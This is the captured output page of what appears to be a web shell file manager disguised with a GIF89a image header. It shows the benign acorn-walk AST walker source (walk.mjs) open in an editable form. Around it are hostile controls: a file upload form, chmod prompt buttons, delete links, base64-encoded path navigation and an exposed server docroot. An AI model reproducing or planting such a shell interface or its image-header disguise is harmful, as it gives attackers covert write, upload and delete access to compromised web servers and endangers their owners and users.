GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>walk.mjs<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5tanM%3D"><input name="f" value="walk.mjs"><textarea name="t">// AST walker module for Mozilla Parser API compatible trees

// A simple walk is one where you simply specify callbacks to be
// called on specific nodes. The last two arguments are optional. A
// simple use would be
//
//     walk.simple(myTree, {
//         Expression: function(node) { ... }
//     });
//
// to do something with all expressions. All Parser API node types
// can be used to identify node types, as well as Expression and
// Statement, which denote categories of nodes.
//
// The base argument can be used to pass a custom (recursive)
// walker, and state can be used to give this walked an initial
// state.

function simple(node, visitors, baseVisitor, state, override) {
  if (!baseVisitor) { baseVisitor = base
  ; }(function c(node, st, override) {
    var type = override || node.type, found = visitors[type];
    baseVisitor[type](node, st, c);
    if (found) { found(node, st); }
  })(node, state, override);
}

// An ancestor walk keeps an array of ancestor nodes (including the
// current node) and passes them to the callback as third parameter
// (and also as state parameter when no other state is present).
function ancestor(node, visitors, baseVisitor, state, override) {
  var ancestors = [];
  if (!baseVisitor) { baseVisitor = base
  ; }(function c(node, st, override) {
    var type = override || node.type, found = visitors[type];
    var isNew = node !== ancestors[ancestors.length - 1];
    if (isNew) { ancestors.push(node); }
    baseVisitor[type](node, st, c);
    if (found) { found(node, st || ancestors, ancestors); }
    if (isNew) { ancestors.pop(); }
  })(node, state, override);
}

// A recursive walk is one where your functions override the default
// walkers. They can modify and replace the state parameter that's
// threaded through the walk, and can opt how and whether to walk
// their child nodes (by calling their third argument on these
// nodes).
function recursive(node, state, funcs, baseVisitor, override) {
  var visitor = funcs ? make(funcs, baseVisitor || undefined) : baseVisitor
  ;(function c(node, st, override) {
    visitor[override || node.type](node, st, c);
  })(node, state, override);
}

function makeTest(test) {
  if (typeof test === &quot;string&quot;)
    { return function (type) { return type === test; } }
  else if (!test)
    { return function () { return true; } }
  else
    { return test }
}

var Found = function Found(node, state) { this.node = node; this.state = state; };

// A full walk triggers the callback on each node
function full(node, callback, baseVisitor, state, override) {
  if (!baseVisitor) { baseVisitor = base; }
  var last
  ;(function c(node, st, override) {
    var type = override || node.type;
    baseVisitor[type](node, st, c);
    if (last !== node) {
      callback(node, st, type);
      last = node;
    }
  })(node, state, override);
}

// An fullAncestor walk is like an ancestor walk, but triggers
// the callback on each node
function fullAncestor(node, callback, baseVisitor, state) {
  if (!baseVisitor) { baseVisitor = base; }
  var ancestors = [], last
  ;(function c(node, st, override) {
    var type = override || node.type;
    var isNew = node !== ancestors[ancestors.length - 1];
    if (isNew) { ancestors.push(node); }
    baseVisitor[type](node, st, c);
    if (last !== node) {
      callback(node, st || ancestors, ancestors, type);
      last = node;
    }
    if (isNew) { ancestors.pop(); }
  })(node, state);
}

// Find a node with a given start, end, and type (all are optional,
// null can be used as wildcard). Returns a {node, state} object, or
// undefined when it doesn't find a matching node.
function findNodeAt(node, start, end, test, baseVisitor, state) {
  if (!baseVisitor) { baseVisitor = base; }
  test = makeTest(test);
  try {
    (function c(node, st, override) {
      var type = override || node.type;
      if ((start == null || node.start &lt;= start) &amp;&amp;
          (end == null || node.end &gt;= end))
        { baseVisitor[type](node, st, c); }
      if ((start == null || node.start === start) &amp;&amp;
          (end == null || node.end === end) &amp;&amp;
          test(type, node))
        { throw new Found(node, st) }
    })(node, state);
  } catch (e) {
    if (e instanceof Found) { return e }
    throw e
  }
}

// Find the innermost node of a given type that contains the given
// position. Interface similar to findNodeAt.
function findNodeAround(node, pos, test, baseVisitor, state) {
  test = makeTest(test);
  if (!baseVisitor) { baseVisitor = base; }
  try {
    (function c(node, st, override) {
      var type = override || node.type;
      if (node.start &gt; pos || node.end &lt; pos) { return }
      baseVisitor[type](node, st, c);
      if (test(type, node)) { throw new Found(node, st) }
    })(node, state);
  } catch (e) {
    if (e instanceof Found) { return e }
    throw e
  }
}

// Find the outermost matching node after a given position.
function findNodeAfter(node, pos, test, baseVisitor, state) {
  test = makeTest(test);
  if (!baseVisitor) { baseVisitor = base; }
  try {
    (function c(node, st, override) {
      if (node.end &lt; pos) { return }
      var type = override || node.type;
      if (node.start &gt;= pos &amp;&amp; test(type, node)) { throw new Found(node, st) }
      baseVisitor[type](node, st, c);
    })(node, state);
  } catch (e) {
    if (e instanceof Found) { return e }
    throw e
  }
}

// Find the outermost matching node before a given position.
function findNodeBefore(node, pos, test, baseVisitor, state) {
  test = makeTest(test);
  if (!baseVisitor) { baseVisitor = base; }
  var max
  ;(function c(node, st, override) {
    if (node.start &gt; pos) { return }
    var type = override || node.type;
    if (node.end &lt;= pos &amp;&amp; (!max || max.node.end &lt; node.end) &amp;&amp; test(type, node))
      { max = new Found(node, st); }
    baseVisitor[type](node, st, c);
  })(node, state);
  return max
}

// Used to create a custom walker. Will fill in all missing node
// type properties with the defaults.
function make(funcs, baseVisitor) {
  var visitor = Object.create(baseVisitor || base);
  for (var type in funcs) { visitor[type] = funcs[type]; }
  return visitor
}

function skipThrough(node, st, c) { c(node, st); }
function ignore(_node, _st, _c) {}

// Node walkers.

var base = {};

base.Program = base.BlockStatement = base.StaticBlock = function (node, st, c) {
  for (var i = 0, list = node.body; i &lt; list.length; i += 1)
    {
    var stmt = list[i];

    c(stmt, st, &quot;Statement&quot;);
  }
};
base.Statement = skipThrough;
base.EmptyStatement = ignore;
base.ExpressionStatement = base.ParenthesizedExpression = base.ChainExpression =
  function (node, st, c) { return c(node.expression, st, &quot;Expression&quot;); };
base.IfStatement = function (node, st, c) {
  c(node.test, st, &quot;Expression&quot;);
  c(node.consequent, st, &quot;Statement&quot;);
  if (node.alternate) { c(node.alternate, st, &quot;Statement&quot;); }
};
base.LabeledStatement = function (node, st, c) { return c(node.body, st, &quot;Statement&quot;); };
base.BreakStatement = base.ContinueStatement = ignore;
base.WithStatement = function (node, st, c) {
  c(node.object, st, &quot;Expression&quot;);
  c(node.body, st, &quot;Statement&quot;);
};
base.SwitchStatement = function (node, st, c) {
  c(node.discriminant, st, &quot;Expression&quot;);
  for (var i$1 = 0, list$1 = node.cases; i$1 &lt; list$1.length; i$1 += 1) {
    var cs = list$1[i$1];

    if (cs.test) { c(cs.test, st, &quot;Expression&quot;); }
    for (var i = 0, list = cs.consequent; i &lt; list.length; i += 1)
      {
      var cons = list[i];

      c(cons, st, &quot;Statement&quot;);
    }
  }
};
base.SwitchCase = function (node, st, c) {
  if (node.test) { c(node.test, st, &quot;Expression&quot;); }
  for (var i = 0, list = node.consequent; i &lt; list.length; i += 1)
    {
    var cons = list[i];

    c(cons, st, &quot;Statement&quot;);
  }
};
base.ReturnStatement = base.YieldExpression = base.AwaitExpression = function (node, st, c) {
  if (node.argument) { c(node.argument, st, &quot;Expression&quot;); }
};
base.ThrowStatement = base.SpreadElement =
  function (node, st, c) { return c(node.argument, st, &quot;Expression&quot;); };
base.TryStatement = function (node, st, c) {
  c(node.block, st, &quot;Statement&quot;);
  if (node.handler) { c(node.handler, st); }
  if (node.finalizer) { c(node.finalizer, st, &quot;Statement&quot;); }
};
base.CatchClause = function (node, st, c) {
  if (node.param) { c(node.param, st, &quot;Pattern&quot;); }
  c(node.body, st, &quot;Statement&quot;);
};
base.WhileStatement = base.DoWhileStatement = function (node, st, c) {
  c(node.test, st, &quot;Expression&quot;);
  c(node.body, st, &quot;Statement&quot;);
};
base.ForStatement = function (node, st, c) {
  if (node.init) { c(node.init, st, &quot;ForInit&quot;); }
  if (node.test) { c(node.test, st, &quot;Expression&quot;); }
  if (node.update) { c(node.update, st, &quot;Expression&quot;); }
  c(node.body, st, &quot;Statement&quot;);
};
base.ForInStatement = base.ForOfStatement = function (node, st, c) {
  c(node.left, st, &quot;ForInit&quot;);
  c(node.right, st, &quot;Expression&quot;);
  c(node.body, st, &quot;Statement&quot;);
};
base.ForInit = function (node, st, c) {
  if (node.type === &quot;VariableDeclaration&quot;) { c(node, st); }
  else { c(node, st, &quot;Expression&quot;); }
};
base.DebuggerStatement = ignore;

base.FunctionDeclaration = function (node, st, c) { return c(node, st, &quot;Function&quot;); };
base.VariableDeclaration = function (node, st, c) {
  for (var i = 0, list = node.declarations; i &lt; list.length; i += 1)
    {
    var decl = list[i];

    c(decl, st);
  }
};
base.VariableDeclarator = function (node, st, c) {
  c(node.id, st, &quot;Pattern&quot;);
  if (node.init) { c(node.init, st, &quot;Expression&quot;); }
};

base.Function = function (node, st, c) {
  if (node.id) { c(node.id, st, &quot;Pattern&quot;); }
  for (var i = 0, list = node.params; i &lt; list.length; i += 1)
    {
    var param = list[i];

    c(param, st, &quot;Pattern&quot;);
  }
  c(node.body, st, node.expression ? &quot;Expression&quot; : &quot;Statement&quot;);
};

base.Pattern = function (node, st, c) {
  if (node.type === &quot;Identifier&quot;)
    { c(node, st, &quot;VariablePattern&quot;); }
  else if (node.type === &quot;MemberExpression&quot;)
    { c(node, st, &quot;MemberPattern&quot;); }
  else
    { c(node, st); }
};
base.VariablePattern = ignore;
base.MemberPattern = skipThrough;
base.RestElement = function (node, st, c) { return c(node.argument, st, &quot;Pattern&quot;); };
base.ArrayPattern = function (node, st, c) {
  for (var i = 0, list = node.elements; i &lt; list.length; i += 1) {
    var elt = list[i];

    if (elt) { c(elt, st, &quot;Pattern&quot;); }
  }
};
base.ObjectPattern = function (node, st, c) {
  for (var i = 0, list = node.properties; i &lt; list.length; i += 1) {
    var prop = list[i];

    if (prop.type === &quot;Property&quot;) {
      if (prop.computed) { c(prop.key, st, &quot;Expression&quot;); }
      c(prop.value, st, &quot;Pattern&quot;);
    } else if (prop.type === &quot;RestElement&quot;) {
      c(prop.argument, st, &quot;Pattern&quot;);
    }
  }
};

base.Expression = skipThrough;
base.ThisExpression = base.Super = base.MetaProperty = ignore;
base.ArrayExpression = function (node, st, c) {
  for (var i = 0, list = node.elements; i &lt; list.length; i += 1) {
    var elt = list[i];

    if (elt) { c(elt, st, &quot;Expression&quot;); }
  }
};
base.ObjectExpression = function (node, st, c) {
  for (var i = 0, list = node.properties; i &lt; list.length; i += 1)
    {
    var prop = list[i];

    c(prop, st);
  }
};
base.FunctionExpression = base.ArrowFunctionExpression = base.FunctionDeclaration;
base.SequenceExpression = function (node, st, c) {
  for (var i = 0, list = node.expressions; i &lt; list.length; i += 1)
    {
    var expr = list[i];

    c(expr, st, &quot;Expression&quot;);
  }
};
base.TemplateLiteral = function (node, st, c) {
  for (var i = 0, list = node.quasis; i &lt; list.length; i += 1)
    {
    var quasi = list[i];

    c(quasi, st);
  }

  for (var i$1 = 0, list$1 = node.expressions; i$1 &lt; list$1.length; i$1 += 1)
    {
    var expr = list$1[i$1];

    c(expr, st, &quot;Expression&quot;);
  }
};
base.TemplateElement = ignore;
base.UnaryExpression = base.UpdateExpression = function (node, st, c) {
  c(node.argument, st, &quot;Expression&quot;);
};
base.BinaryExpression = base.LogicalExpression = function (node, st, c) {
  c(node.left, st, &quot;Expression&quot;);
  c(node.right, st, &quot;Expression&quot;);
};
base.AssignmentExpression = base.AssignmentPattern = function (node, st, c) {
  c(node.left, st, &quot;Pattern&quot;);
  c(node.right, st, &quot;Expression&quot;);
};
base.ConditionalExpression = function (node, st, c) {
  c(node.test, st, &quot;Expression&quot;);
  c(node.consequent, st, &quot;Expression&quot;);
  c(node.alternate, st, &quot;Expression&quot;);
};
base.NewExpression = base.CallExpression = function (node, st, c) {
  c(node.callee, st, &quot;Expression&quot;);
  if (node.arguments)
    { for (var i = 0, list = node.arguments; i &lt; list.length; i += 1)
      {
        var arg = list[i];

        c(arg, st, &quot;Expression&quot;);
      } }
};
base.MemberExpression = function (node, st, c) {
  c(node.object, st, &quot;Expression&quot;);
  if (node.computed) { c(node.property, st, &quot;Expression&quot;); }
};
base.ExportNamedDeclaration = base.ExportDefaultDeclaration = function (node, st, c) {
  if (node.declaration)
    { c(node.declaration, st, node.type === &quot;ExportNamedDeclaration&quot; || node.declaration.id ? &quot;Statement&quot; : &quot;Expression&quot;); }
  if (node.source) { c(node.source, st, &quot;Expression&quot;); }
};
base.ExportAllDeclaration = function (node, st, c) {
  if (node.exported)
    { c(node.exported, st); }
  c(node.source, st, &quot;Expression&quot;);
};
base.ImportDeclaration = function (node, st, c) {
  for (var i = 0, list = node.specifiers; i &lt; list.length; i += 1)
    {
    var spec = list[i];

    c(spec, st);
  }
  c(node.source, st, &quot;Expression&quot;);
};
base.ImportExpression = function (node, st, c) {
  c(node.source, st, &quot;Expression&quot;);
};
base.ImportSpecifier = base.ImportDefaultSpecifier = base.ImportNamespaceSpecifier = base.Identifier = base.PrivateIdentifier = base.Literal = ignore;

base.TaggedTemplateExpression = function (node, st, c) {
  c(node.tag, st, &quot;Expression&quot;);
  c(node.quasi, st, &quot;Expression&quot;);
};
base.ClassDeclaration = base.ClassExpression = function (node, st, c) { return c(node, st, &quot;Class&quot;); };
base.Class = function (node, st, c) {
  if (node.id) { c(node.id, st, &quot;Pattern&quot;); }
  if (node.superClass) { c(node.superClass, st, &quot;Expression&quot;); }
  c(node.body, st);
};
base.ClassBody = function (node, st, c) {
  for (var i = 0, list = node.body; i &lt; list.length; i += 1)
    {
    var elt = list[i];

    c(elt, st);
  }
};
base.MethodDefinition = base.PropertyDefinition = base.Property = function (node, st, c) {
  if (node.computed) { c(node.key, st, &quot;Expression&quot;); }
  if (node.value) { c(node.value, st, &quot;Expression&quot;); }
};

export { ancestor, base, findNodeAfter, findNodeAround, findNodeAt, findNodeBefore, full, fullAncestor, make, recursive, simple };
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/acorn-walk/dist<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsaw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&x=d2Fsay5kLnRz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5kLnRz"/>walk.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5kLnRz&c=`+btoa(c):0" value="0644"></td><td>2605</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&x=d2Fsay5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5qcw=="/>walk.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5qcw==&c=`+btoa(c):0" value="0644"></td><td>15985</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&x=d2Fsay5tanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5tanM="/>walk.mjs</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvYWNvcm4td2Fsay9kaXN0&f=d2Fsay5tanM=&c=`+btoa(c):0" value="0644"></td><td>14559</td></tr></table>